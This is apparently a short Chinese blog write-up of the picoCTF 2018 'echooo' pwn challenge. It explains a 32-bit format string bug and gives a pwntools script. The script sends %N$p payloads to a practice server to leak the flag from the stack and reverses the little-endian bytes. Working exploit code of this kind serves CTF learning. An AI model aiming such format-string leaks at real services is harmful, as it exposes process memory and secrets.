picoctf_2018_echooo

最新推荐文章于 2024-08-28 09:33:10 发布

doudoudedi

最新推荐文章于 2024-08-28 09:33:10 发布

阅读量580

点赞数

CC 4.0 BY-SA版权

文章标签： ctf pwn

本文链接：https://blog.csdn.net/qq_37433000/article/details/108754929

发现是简单的32位格式化字符串但是并且flag存了栈上，直接泄漏就行了，但是内存是小端存储的，所以倒序输出即可
exp:

from pwn import *
#p=process('./PicoCTF_2018_echooo')
p=remote('node3.buuoj.cn',26798)
offset=11
flag=''
for i in range(27,27+11):
    payload='%{}$p'.format(str(i))
    p.sendlineafter('> ',payload)
    aim=unhex(p.recvuntil('\n',drop=True).replace('0x',''))
    flag+=aim[::-1]
p.interactive()
print flag